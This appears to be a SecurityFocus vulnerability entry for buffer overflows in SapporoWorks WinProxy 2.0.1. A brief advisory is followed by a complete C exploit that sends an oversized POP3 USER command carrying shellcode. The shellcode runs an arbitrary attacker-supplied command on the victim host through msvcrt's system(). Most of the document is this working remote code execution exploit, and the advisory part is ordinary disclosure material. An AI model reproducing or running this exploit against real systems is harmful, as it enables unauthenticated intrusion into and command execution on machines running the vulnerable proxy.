source: http://www.securityfocus.com/bid/1400/info

Multiple unchecked buffers exist in the POP3 and HTTP Proxy components of SapporoWorks WinProxy which could open up the possibilities of denial of service attacks or remote execution of arbitrary code.

Performing a "GET /" on port 8080 will cause WinProxy to stop responding.

The USER, PASS, LIST, RETR, and DELE commands allow for arbitrary code to be executed when strings over 312 bytes are entered. The USER and PASS command are vulnerable to buffer overflow even without authentication procedures. 

/*=========================================================================
====
   WinProxy 2.0.1 Overflow Exploit
   The Shadow Penguin Security (http://shadowpenguin.backsection.net)
   Written by UNYUN ([email protected])
  =========================================================================
====
*/


#include    <stdio.h>
#include    <string.h>
#include    <windows.h>
#include    <winsock.h>


#define     PORT            110
#define     MAXBUF          700
#define     MAXPACKETBUF    32000
#define     RETADR          312
#define     JMPADR          308
#define     CODEOFS         316
#define     JMPEAX_1        0xff
#define     JMPEAX_2        0xe3
#define     NOP             0x90
#define     KERNEL_NAME     "kernel32.dll"


unsigned char exploit_code[200]={
0xEB,0x4B,0x5B,0x53,0x32,0xE4,0x83,0xC3,
0x0B,0x4B,0x88,0x23,0xB8,0x50,0x77,0xF7,
0xBF,0xFF,0xD0,0x8B,0xD0,0x52,0x43,0x53,
0x52,0x32,0xE4,0x83,0xC3,0x06,0x88,0x23,
0xB8,0x28,0x6E,0xF7,0xBF,0xFF,0xD0,0x8B,
0xF0,0x5A,0x43,0x53,0x52,0x32,0xE4,0x83,
0xC3,0x04,0x88,0x23,0xB8,0x28,0x6E,0xF7,
0xBF,0xFF,0xD0,0x8B,0xF8,0x43,0x53,0x83,
0xC3,0x0B,0x32,0xE4,0x88,0x23,0xFF,0xD6,
0x33,0xC0,0x50,0xFF,0xD7,0xE8,0xB0,0xFF,
0xFF,0xFF,0x00};
unsigned char cmdbuf[200]="msvcrt.dll.system.exit.";


unsigned int search_mem(unsigned char *st,unsigned char *ed,
                unsigned char c1,unsigned char c2)
{
    unsigned char   *p;
    unsigned int    adr;


    for (p=st;p<ed;p++)
        if (*p==c1 && *(p+1)==c2){
            adr=(unsigned int)p;
            if ((adr&0xff)==0) continue;
            if (((adr>>8)&0xff)==0) continue;
            if (((adr>>16)&0xff)==0) continue;
            if (((adr>>24)&0xff)==0) continue;
            return(adr);
        }
    return(0);
}


main(int argc,char *argv[])
{
    SOCKET               sock;
    SOCKADDR_IN          addr;
    WSADATA              wsa;
    WORD                 wVersionRequested;
    unsigned int         i,kp,ip,p1,p2,p;
    unsigned int         pretadr;
    static unsigned char buf[MAXBUF],packetbuf[MAXPACKETBUF],*q;
    struct hostent       *hs;
    MEMORY_BASIC_INFORMATION meminfo;


    if (argc<3){
        printf("usage: %s VictimHost Command\n",argv[0]);
        exit(1);
    }
    if ((void *)(kp=(unsigned int)LoadLibrary(KERNEL_NAME))==NULL){
        printf("Can not find %s\n",KERNEL_NAME);
        exit(1);
    }


    VirtualQuery((void *)kp,&meminfo,sizeof(MEMORY_BASIC_INFORMATION));
    pretadr=0;
    for (i=0;i<meminfo.RegionSize;i++){
        p=kp+i;
        if ( ( p     &0xff)==0
          || ((p>>8 )&0xff)==0
          || ((p>>16)&0xff)==0
          || ((p>>24)&0xff)==0) continue;
        if (*((unsigned char *)p)==JMPEAX_1 && *(((unsigned char *)p)+1)==
JMPEAX_2) pretadr=p;
    }
    printf("RETADR         : %x\n",pretadr);
    if (pretadr==0){
        printf("Can not find codes which are used by exploit.\n");
        exit(1);
    }


    wVersionRequested = MAKEWORD( 2, 0 );
    if (WSAStartup(wVersionRequested , &wsa)!=0){
        printf("Winsock Initialization failed.\n"); return -1;
    }
    if ((sock=socket(AF_INET,SOCK_STREAM,0))==INVALID_SOCKET){
        printf("Can not create socket.\n"); return -1;
    }
    addr.sin_family     = AF_INET;
    addr.sin_port       = htons((u_short)PORT);
    if ((addr.sin_addr.s_addr=inet_addr(argv[1]))==-1){
            if ((hs=gethostbyname(argv[1]))==NULL){
                printf("Can not resolve specified host.\n"); return -1;
            }
            addr.sin_family = hs->h_addrtype;
            memcpy((void *)&addr.sin_addr.s_addr,hs->h_addr,hs->h_length);
    }
    if (connect(sock,(LPSOCKADDR)&addr,sizeof(addr))==SOCKET_ERROR){
        printf("Can not connect to specified host.\n"); return -1;
    }


    memset(buf,NOP,MAXBUF); buf[MAXBUF-1]=0;
    for (i=0;i<10;i++) memset(buf+300+i*10,0x40+i,10);


    ip=pretadr;
    buf[RETADR  ]=ip&0xff;
    buf[RETADR+1]=(ip>>8)&0xff;
    buf[RETADR+2]=(ip>>16)&0xff;
    buf[RETADR+3]=(ip>>24)&0xff;
    buf[JMPADR  ]=0xeb;
    buf[JMPADR+1]=0x06;
    buf[RETADR+6]=0xcd;
    buf[RETADR+7]=0x01;


    p1=(unsigned int)GetProcAddress((HINSTANCE)kp,"LoadLibraryA");
    p2=(unsigned int)GetProcAddress((HINSTANCE)kp,"GetProcAddress");


    printf("LoadLibraryA   : %x\n",p1);
    printf("GetProcAddress : %x\n",p2);
    if ( ( p1     &0xff)==0
      || ((p1>>8 )&0xff)==0
      || ((p1>>16)&0xff)==0
      || ((p1>>24)&0xff)==0
      || ( p2     &0xff)==0
      || ((p2>>8 )&0xff)==0
      || ((p2>>16)&0xff)==0
      || ((p2>>24)&0xff)==0){
        printf("NULL code is included.\n");
        exit(1);
    }


    strcat(cmdbuf,argv[2]);
    strcat(exploit_code,cmdbuf);
    exploit_code[0x0d]=p1&0xff;
    exploit_code[0x0e]=(p1>>8)&0xff;
    exploit_code[0x0f]=(p1>>16)&0xff;
    exploit_code[0x10]=(p1>>24)&0xff;
    exploit_code[0x21]=exploit_code[0x35]=p2&0xff;
    exploit_code[0x22]=exploit_code[0x36]=(p2>>8)&0xff;
    exploit_code[0x23]=exploit_code[0x37]=(p2>>16)&0xff;
    exploit_code[0x24]=exploit_code[0x38]=(p2>>24)&0xff;
    exploit_code[0x41]=strlen(argv[2]);


    memcpy(buf+CODEOFS,exploit_code,strlen(exploit_code));


    sprintf(packetbuf,"user %s\r\n",buf);
    send(sock,packetbuf,strlen(packetbuf),0);
    Sleep(3000);
    closesocket(sock);
    printf("Done.\n");
    return FALSE;
}